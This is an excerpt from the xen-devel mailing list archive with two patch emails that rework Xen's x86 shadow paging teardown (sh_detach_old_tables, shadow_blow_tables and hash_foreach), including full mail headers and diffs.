 5b1f17b1804b1-496c45bb2e7sm86149115e9.7.2026.07.28.07.21.23
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 07:21:23 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785248485; x=1785853285; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=XGrZ7kjDuuGJhwYMCufypln4dXhKBUUO4NDiLthgxi8=;
        b=ftyQmVeqX169mLpt97B/WrV/L/NfbYVN5giGjkVhncNOqDILD1ArFajOzJDgt3LGtz
         l2J5uEqZivRfV8reifxCkTtTvBC+oWhtn6Vn8D8A4S79qEtPZov1TMaCLIOjuGYo4BpD
         ++vh99DrHYvg2VZf9Ok97baUNmKpAxrsOFsSjzv3F5l3nbrheKCbm1sswBfSqlbd94to
         VoPX8dmsWNaG64ovM12sqIllnaOwBUTx1kzgrbgYkBA5/DOmRkAAMVEIDGCS1UE7s1ke
         ZrQBTYJ6jbstTisWTijS/19QlR+B1xBlkDVdIaQgQJppbmiyj2iUnx/ingb/9WOo4oRP
         4brg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785248485; x=1785853285;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=XGrZ7kjDuuGJhwYMCufypln4dXhKBUUO4NDiLthgxi8=;
        b=OP0VwMQNI2+tEi4/jMuOgdIVip/K5uj7D73kuFcvpf3vSWCVIJZXDoB62vLrkqu6A2
         teyC5PcpmVhA1UXPaeeeNT06rQN8VnNsgfSVd0/4alklMm950XNp7BvjbzYf79PSSm6o
         onoRLD2KKlAG/vQaV/zuZk8o5f37i9Iu2UZ2ie4micmJrx3jzEEjv45tXqPc2iQp4M5u
         JhaTjN23hOrdYJ1UgdHxNhJIbOfy7KEVnxugMVgSCyXmPno3rVfyi9cbGf7CPRE7TORP
         OSTkVSx2PEzFq5SobrFiQ2iDjY4InnTJqYq9fDJ2+nNK393Z5UHl9cxU4aLVAUZkWMMa
         ERAQ==
X-Gm-Message-State: AOJu0Yy/wPvWEFIY5u/zNSGMwciVAPglG5/w36rK//zrh3uUsTMK2Pf6
	W9eJxVFjvsEmtTFj2DP2JL0fEmHdLKAUYw9rgsmbnjMDvhKdTTuSMgMlKhbw6uUuNwfPxM5Xa9F
	tjmCo5w==
X-Gm-Gg: AR+sD12yjaZf9DeTuihhduD1TSUNZaThFV9XCiaLO+610nUTFTOdwq/N2GcTJKYOHis
	yllasjXphj8ISnApL2CqD5/BI1QumX7BGkDrvjd56vxT2x7XY43UDi/GbkXuoBhiVGH9fsx17U4
	Q/CXQ9TNF8OCtZr+JpDhBCtnwgrO+yxVANlaXBZNkv1vEnkiWC+i6DuTmiuC8gE9JXjgR1FF0JE
	hhFXpqfwxEzCC7J8kRXsZiLddqs0/9g+rn4I0tfG7J/MbbLXA6ve1a9j/wOXQBaWEHv3uF03HzY
	D1/GkEa+YluVVrFsQjnyOqC3Z9CuVXQBpPpV+EyB6Am9G3y4fOHLWR/hF0Ey3FMptqKVZD4icHk
	p8+lZ1UrmyF82H+JRYd47Rh7ssfahiFsVAuzKEnmaVfbXW39a6h4Hzcc7HnBmyT2lXAB/++4mhd
	44/98Su+oY/uCpOFHl3wTkOPHtgilchp+4kFTyZQ0rbipMoIXUK3AThWiVvYNW9waUJg==
X-Received: by 2002:a05:600c:5291:b0:495:4e1d:82e6 with SMTP id 5b1f17b1804b1-496c659294bmr28684895e9.36.1785248484901;
        Tue, 28 Jul 2026 07:21:24 -0700 (PDT)
Message-ID: <4ba9dcd7-3e96-4ced-bafb-8bfb35fe26ca@suse.com>
Date: Tue, 28 Jul 2026 16:21:22 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH v15 03/10] x86/shadow: 1-bit-disable doesn't need to detach
 old tables
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>, Tim Deegan <tim@xen.org>
References: <68c16600-a4bf-4060-a1fc-56c4ae655b03@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <68c16600-a4bf-4060-a1fc-56c4ae655b03@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-ef75cf/1785248485-A54C3AE4-A87BD2E7/0/0
X-purgate-type: clean
X-purgate-size: 2608

Just ahead of the loop being modified sh_new_mode() is called, which in
turn calls sh_update_paging_modes() and thus sh_detach_old_tables(). To
retain the intended effect of not leaving any shadows in place, avoid
re-establishing a new top-level shadow from sh_update_paging_modes().

Signed-off-by: Jan Beulich <jbeulich@suse.com>
Acked-by: Roger Pau MonnÃ© <roger.pau@citrix.com>
---
This doesn't need to be part of the XSA, but it eliminates one point of
concern wrt preemption checking. However, in the context of "x86/mm:
make more of log-dirty mode enable/disable preemptable" I started
wondering whether things don't want doing differently. 1-bit-enables
technically don't need to purge all shadows:
- log-dirty enable only needs to get rid of all L1 entries; this could
  be done via hash lookup (of all L1/FL1 shadows) instead of
  shadow_blow_tables(),
- test enable doesn't need any purging; it may be the intention though
  that it does a certain amount of purging,
- force enable doesn't need to do any purging either.
We could therefore pass a new boolean through sh_new_mode() to
sh_update_paging_modes() to suppress the call to sh_detach_old_tables()
for some (all?) of the 1-bit enables.

1-bit disables (log-dirty as well as test) match the above, but of
course they will need to (at least) detach all tables when shadow mode
is being turned off altogether (i.e. the very invocation that's being
deleted here). As done in the other patch, the amount of work to do by
the (then possibly retained) sh_detach_old_tables() here could be
bounded by "preparatory" purging (in a properly preemptable way) in
shadow_one_bit_disable() or its callers. Using shadow_blow_tables() for
that purpose is probably preferable anyway, as sh_detach_old_tables()
alone won't get rid of pinned shadows.
---
v15: Re-base.
v13: New.

--- a/xen/arch/x86/mm/shadow/common.c
+++ b/xen/arch/x86/mm/shadow/common.c
@@ -1982,7 +1982,8 @@ static void sh_update_paging_modes(struc
     }
 #endif /* OOS */
 
-    v->arch.paging.mode->update_cr3(v, false);
+    if ( paging_mode_enabled(d) )
+        v->arch.paging.mode->update_cr3(v, false);
 }
 
 /*
@@ -2459,8 +2460,6 @@ static int shadow_one_bit_disable(struct
                        d->arch.paging.free_pages, d->arch.paging.p2m_pages);
         for_each_vcpu(d, v)
         {
-            if ( v->arch.paging.mode )
-                sh_detach_old_tables(v);
             if ( !(v->arch.flags & TF_kernel_mode) )
                 make_cr3(v, pagetable_get_mfn(v->arch.guest_table_user));
             else



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 14:21:50 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 14:21:50 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374374.1621531 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woigo-0002Qm-2x; Tue, 28 Jul 2026 14:21:50 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374374.1621531; Tue, 28 Jul 2026 14:21:50 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woigo-0002QK-07; Tue, 28 Jul 2026 14:21:50 +0000
Received: by outflank-mailman (input) for mailman id 1374374;
 Tue, 28 Jul 2026 14:21:49 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1woigm-0002P6-Tg
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:21:49 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woigm-004wxv-AA
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 16:21:48 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68baf8-bab6-0a2a0a5309dd-0a2a45029302-24
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 16:21:48 +0200
Received: from [209.85.128.50] (helo=mail-wm1-f50.google.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68bafb-6ca4-0a2a45020019-d1558032f181-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 16:21:47 +0200
Received: by mail-wm1-f50.google.com with SMTP id
 5b1f17b1804b1-49548aebcd8so29200925e9.3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 07:21:47 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-4957bfd1a60sm303699545e9.2.2026.07.28.07.21.46
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 07:21:46 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785248507; x=1785853307; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=HR0du3EiXgBA3rCKAKjjBRbHCVyWjla1ikrTdisIkS0=;
        b=VHQI0kDr/crno7tTBYcG70oEP8dGoq5/1NAbaNx159eRupoToGkJItn7BwMxmhDItq
         uFLxsQsd45RjxGj16HjYVWmV+K9aCn55wZ5ivRciWaSI3SCjETuNbLPC90lV9iyNUy+8
         Ac6J/qmTM90Y6Ee6ws+fn+fWOc6RaeHLQ/5esOngODESDY4LG+4CWk9gFaK49agiCW7w
         EspnMLKMKskAebCtuE66/Gf+hLSlgAbHLuMF/EiZldbcL9CO+cKG++WZnoBNIBNh8H4y
         QfvmsivwUHPLqCrOET3Y+A9/cjPWv9emT/2p2298LNWqo7BBjvg/KhkwXhbcuxpkxHkd
         BCaw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785248507; x=1785853307;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=HR0du3EiXgBA3rCKAKjjBRbHCVyWjla1ikrTdisIkS0=;
        b=bGOTuyAV+znArdFhVFn/IZ6UJrOgg8al+3cRGmGT+5nhu8rYWSxNM4nebCFYjTZbh6
         Lsc+YsCTHt7A2894xIAJdiOTP1ZJku+xluuVAybCwIVvIT67fn8M6t6VFLQUM3f52Y3j
         ay8nkEH6I+2wUG4plLFf7QIv3wAmuVs0UKl0JJy2HMsOlbpENBHBTL2O1/mVnOEmhqRN
         ysX9erhtUn8e5OlVEeJegXbJyEcMCey66AME8RkD+sQ/eP/xGFOkm1ofYKGKDd0ESl2b
         sRwL5uDm9Ex79oyt52l7aexRMa3RwPDRl6h/2gJVj7rl0ZBuYvcsaj3bup+ZOtUukJMq
         Icog==
X-Gm-Message-State: AOJu0YwXpngP1ikogK8BoGdHor4Gx7cLL+QPwzkzob4cTXi5NKwOw7As
	IHhz8nwb0Mh1uA68oRE4mB9oARf+m76wNJvOOCHVUFWOJhI/7SRtmYsFkw7E8MFEpP92GclYT3m
	Oo53iqQ==
X-Gm-Gg: AR+sD10tZ+rSkZnkFhqsMItP2ueEqRqdh7O6gJjJiAleDe7lTK6A66Ubrh/CEAum6V+
	f/+D8GV+RVFU3m04yNq3/ukyOBpMtJKj2Bb8GzLg+/Lt/yn/7RZ3OqbcvalNFGWCVsY4GlWeR/N
	X2FwMpwz+yFaMR8RYdz2TFcOImPcITt8wB00TuJQPdAhAN09Vb220+FsRvfTNZ8DhzdlQjFGkLC
	JmxOsBqFTr5Y+FmpacFLacylybwAAGpyy4vSZ1XiAjW9jgxB0zgZOq9MHbNi2fWdAHU+r91fWk+
	mpKpjSftseTRnUiBizBmXTJNjBWpAtkZYMZHhUBmojX4LcaQDgqnaBxoQ3rn8wZT+g3MaxPGpe+
	vRBcDKr9s5F3lN7RMtDzDVrlYtQEKxUGenJX0BZBolCRQ9ESnTUHOvpyEF3WgA/IZhph06+WMTv
	Tdv10AvK2S8T4Fz3ufeQR9uRe4R//S/tV3FGMqBUFeDqYdh5JocBsJ0XNVo7k2wD90ONI0T22uC
	wcW
X-Received: by 2002:a05:600c:3144:b0:496:b39f:1a03 with SMTP id 5b1f17b1804b1-496c64261fdmr29994245e9.5.1785248507153;
        Tue, 28 Jul 2026 07:21:47 -0700 (PDT)
Message-ID: <da34daa4-0ac6-411f-835e-641c616d25db@suse.com>
Date: Tue, 28 Jul 2026 16:21:45 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH v15 04/10] x86/shadow: reduce amount of work to do by
 shadow_unhook_mappings()
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>, Tim Deegan <tim@xen.org>
References: <68c16600-a4bf-4060-a1fc-56c4ae655b03@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6U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M
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <68c16600-a4bf-4060-a1fc-56c4ae655b03@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-720697/1785248508-F2AB52AC-C9910AD6/0/0
X-purgate-type: clean
X-purgate-size: 10127

When preemption is enabled for uses of shadow_blow_tables(), the
granularity of preemption checks in both of the present two passes can
be pretty coarse, as deep table hierarchies may need processing. Reduce
shadow page table depth up front by introducing a third (earlier) pass
processing first L2, then L3 tables by doing hash lookups instead of
tree traversal.

Signed-off-by: Jan Beulich <jbeulich@suse.com>
---
The way need for preemption is being checked for is crude, but the least
intrusive variant I could think of while still respecting hash_foreach()
not permitting further traversal after a removal from the hash.

I've deliberately chosen 0 as the "wildcard", as using INVALID_MFN looks
somewhat more fragile/risky to me. Of course we might consider
introducing WILDCARD_MFN, which then could be non-zero but still
distinct from INVALID_MFN.

I've further deliberately made hash_foreach() return "int", not "bool",
since at least transiently I was also playing with returning -ERESTART
from some of the callback functions.

We could avoid the hash walk for guests which never entered 64-bit mode.
That would require tracking the maximum shadow paging level that was
ever used (perhaps since the last [completed] shadow_blow_tables()) by a
domain. (This would similarly apply to future 5-level support, where we
could avoid the SHF_L4_ANY walk for guests never having entered 5-level
mode.)

The same may want (need) adding to _shadow_prealloc() and perhaps
elsewhere. However, for zapping entries from alive domains hash lookup
pulling most recently used entries to the front means most recently used
entries would then also be zapped first, which isn't very nice.
---
v14: Exclude 32-bit L2 types. Re-base.
v13: New.

--- a/xen/arch/x86/mm/shadow/common.c
+++ b/xen/arch/x86/mm/shadow/common.c
@@ -268,6 +268,32 @@ sh_validate_guest_entry(struct vcpu *v,
     return result;
 }
 
+typedef int (*hash_callback_t)(struct domain *d, mfn_t smfn, mfn_t other_mfn);
+
+#define HASH_CALLBACKS_CHECK(mask) \
+    BUILD_BUG_ON((mask) > (1U << ARRAY_SIZE(callbacks)) - 1)
+
+static int hash_foreach(struct domain *d,
+                        unsigned int callback_mask,
+                        const hash_callback_t callbacks[],
+                        mfn_t callback_mfn);
+
+/*
+ * Dispatch table for getting per-type functions: each level must
+ * be called with the function to remove a lower-level shadow.
+ */
+static const hash_callback_t remove_callbacks[SH_type_unused] = {
+#ifdef CONFIG_HVM
+    [SH_type_l2_32_shadow] = SHADOW_INTERNAL_NAME(sh_remove_l1_shadow, 2),
+    [SH_type_l2_pae_shadow] = SHADOW_INTERNAL_NAME(sh_remove_l1_shadow, 3),
+#endif
+    [SH_type_l2_64_shadow] = SHADOW_INTERNAL_NAME(sh_remove_l1_shadow, 4),
+#ifdef CONFIG_PV32
+    [SH_type_l2h_64_shadow] = SHADOW_INTERNAL_NAME(sh_remove_l1_shadow, 4),
+#endif
+    [SH_type_l3_64_shadow] = SHADOW_INTERNAL_NAME(sh_remove_l2_shadow, 4),
+    [SH_type_l4_64_shadow] = SHADOW_INTERNAL_NAME(sh_remove_l3_shadow, 4),
+};
 
 /**************************************************************************/
 /* Memory management for shadow pages. */
@@ -476,7 +502,35 @@ void shadow_blow_tables(struct domain *d
     if ( !d->vcpu[0] )
         return;
 
-    /* Pass one: unpin all pinned pages */
+    /* First pass: reduce page table depth */
+    if ( preempted )
+    {
+#define callbacks remove_callbacks
+        static const unsigned int masks[] = {
+            SHF_L2_ANY & ~(SHF_L2_32 | SHF_L2_PAE),
+            SHF_L3_ANY,
+#if CONFIG_PAGING_LEVELS > 4
+            SHF_L4_ANY,
+#endif
+        };
+
+        HASH_CALLBACKS_CHECK(SHF_page_type_mask & ~(SHF_L1_ANY | SHF_FL1_ANY));
+
+        for ( i = 0; i < ARRAY_SIZE(masks); ++i )
+        {
+            while ( hash_foreach(d, masks[i], callbacks, _mfn(0)) )
+            {
+                if ( general_preempt_check() )
+                {
+                    *preempted = true;
+                    return;
+                }
+            }
+        }
+#undef callbacks
+    }
+
+    /* Second pass: unpin all pinned pages */
     foreach_pinned_shadow(d, sp, t)
     {
         smfn = page_to_mfn(sp);
@@ -488,7 +542,7 @@ void shadow_blow_tables(struct domain *d
         }
     }
 
-    /* Second pass: unhook entries of in-use shadows */
+    /* Third pass: unhook entries of in-use shadows */
     for_each_vcpu(d, v)
         for ( i = 0; i < ARRAY_SIZE(v->arch.paging.shadow.shadow_table); i++ )
             if ( !pagetable_is_null(v->arch.paging.shadow.shadow_table[i]) )
@@ -1151,15 +1205,10 @@ bool shadow_hash_delete(struct domain *d
     return true;
 }
 
-typedef int (*hash_callback_t)(struct domain *d, mfn_t smfn, mfn_t other_mfn);
-
-#define HASH_CALLBACKS_CHECK(mask) \
-    BUILD_BUG_ON((mask) > (1U << ARRAY_SIZE(callbacks)) - 1)
-
-static void hash_foreach(struct domain *d,
-                         unsigned int callback_mask,
-                         const hash_callback_t callbacks[],
-                         mfn_t callback_mfn)
+static int hash_foreach(struct domain *d,
+                        unsigned int callback_mask,
+                        const hash_callback_t callbacks[],
+                        mfn_t callback_mfn)
 /* Walk the hash table looking at the types of the entries and
  * calling the appropriate callback function for each entry.
  * The mask determines which shadow types we call back for, and the array
@@ -1176,7 +1225,7 @@ static void hash_foreach(struct domain *
 
     /* Can be called via p2m code &c after shadow teardown. */
     if ( unlikely(!d->arch.paging.shadow.hash_table) )
-        return;
+        return 0;
 
     /* Say we're here, to stop hash-lookups reordering the chains */
     ASSERT(d->arch.paging.shadow.hash_walking == 0);
@@ -1201,6 +1250,8 @@ static void hash_foreach(struct domain *
         if ( done ) break;
     }
     d->arch.paging.shadow.hash_walking = 0;
+
+    return done;
 }
 
 
@@ -1640,21 +1691,6 @@ void sh_remove_shadows(struct domain *d,
     mfn_t smfn;
     unsigned char t;
 
-    /* Dispatch table for getting per-type functions: each level must
-     * be called with the function to remove a lower-level shadow. */
-    static const hash_callback_t callbacks[SH_type_unused] = {
-#ifdef CONFIG_HVM
-        [SH_type_l2_32_shadow] = SHADOW_INTERNAL_NAME(sh_remove_l1_shadow, 2),
-        [SH_type_l2_pae_shadow] = SHADOW_INTERNAL_NAME(sh_remove_l1_shadow, 3),
-#endif
-        [SH_type_l2_64_shadow] = SHADOW_INTERNAL_NAME(sh_remove_l1_shadow, 4),
-#ifdef CONFIG_PV32
-        [SH_type_l2h_64_shadow] = SHADOW_INTERNAL_NAME(sh_remove_l1_shadow, 4),
-#endif
-        [SH_type_l3_64_shadow] = SHADOW_INTERNAL_NAME(sh_remove_l2_shadow, 4),
-        [SH_type_l4_64_shadow] = SHADOW_INTERNAL_NAME(sh_remove_l3_shadow, 4),
-    };
-
     /* Another lookup table, for choosing which mask to use */
     static const unsigned int masks[SH_type_unused] = {
 #ifdef CONFIG_HVM
@@ -1689,6 +1725,8 @@ void sh_remove_shadows(struct domain *d,
     /* Search for this shadow in all appropriate shadows */
     perfc_incr(shadow_unshadow);
 
+#define callbacks remove_callbacks
+
     /*
      * Lower-level shadows need to be excised from upper-level shadows. This
      * call to hash_foreach() looks dangerous but is in fact OK: each call
@@ -1736,6 +1774,7 @@ void sh_remove_shadows(struct domain *d,
     DO_UNSHADOW(SH_type_l1_64_shadow);
 
 #undef DO_UNSHADOW
+#undef callbacks
 
     /* If that didn't catch the shadows, something is wrong */
     if ( !fast && all && (pg->count_info & PGC_shadowed_pt) )
--- a/xen/arch/x86/mm/shadow/multi.c
+++ b/xen/arch/x86/mm/shadow/multi.c
@@ -3644,10 +3644,12 @@ int cf_check sh_remove_l1_shadow(struct
 
     FOREACH_PRESENT_L2E(sl2mfn, sl2e, NULL, done, d,
     {
-        if ( mfn_eq(shadow_l2e_get_mfn(*sl2e), sl1mfn) )
+        mfn_t mfn = shadow_l2e_get_mfn(*sl2e);
+
+        if ( !mfn_x(sl1mfn) || mfn_eq(mfn, sl1mfn) )
         {
             shadow_set_l2e(d, sl2e, shadow_l2e_empty(), sl2mfn);
-            if ( mfn_to_page(sl1mfn)->u.sh.type == 0 )
+            if ( !mfn_to_page(mfn)->u.sh.type )
                 /* This breaks us cleanly out of the FOREACH macro */
                 done = 1;
         }
@@ -3664,10 +3666,12 @@ int cf_check sh_remove_l2_shadow(struct
 
     FOREACH_PRESENT_L3E(sl3mfn, sl3e, NULL, done,
     {
-        if ( mfn_eq(shadow_l3e_get_mfn(*sl3e), sl2mfn) )
+        mfn_t mfn = shadow_l3e_get_mfn(*sl3e);
+
+        if ( !mfn_x(sl2mfn) || mfn_eq(mfn, sl2mfn) )
         {
             shadow_set_l3e(d, sl3e, shadow_l3e_empty(), sl3mfn);
-            if ( mfn_to_page(sl2mfn)->u.sh.type == 0 )
+            if ( !mfn_to_page(mfn)->u.sh.type )
                 /* This breaks us cleanly out of the FOREACH macro */
                 done = 1;
         }
@@ -3683,10 +3687,12 @@ int cf_check sh_remove_l3_shadow(struct
 
     FOREACH_PRESENT_L4E(sl4mfn, sl4e, NULL, done, d,
     {
-        if ( mfn_eq(shadow_l4e_get_mfn(*sl4e), sl3mfn) )
+        mfn_t mfn = shadow_l4e_get_mfn(*sl4e);
+
+        if ( !mfn_x(sl3mfn) || mfn_eq(mfn, sl3mfn) )
         {
             shadow_set_l4e(d, sl4e, shadow_l4e_empty(), sl4mfn);
-            if ( mfn_to_page(sl3mfn)->u.sh.type == 0 )
+            if ( !mfn_to_page(mfn)->u.sh.type )
                 /* This breaks us cleanly out of the FOREACH macro */
                 done = 1;
         }
--- a/xen/arch/x86/mm/shadow/private.h
+++ b/xen/arch/x86/mm/shadow/private.h
@@ -282,6 +282,9 @@ static inline void sh_terminate_list(str
 
 #define SHF_L1_ANY  (SHF_L1_32|SHF_L1_PAE|SHF_L1_64)
 #define SHF_FL1_ANY (SHF_FL1_32|SHF_FL1_PAE|SHF_FL1_64)
+#define SHF_L2_ANY  (SHF_L2_32|SHF_L2_PAE|SHF_L2H_64|SHF_L2_64)
+#define SHF_L3_ANY  SHF_L3_64
+#define SHF_L4_ANY  SHF_L4_64
 
 #if (SHADOW_OPTIMIZATIONS & SHOPT_OUT_OF_SYNC)
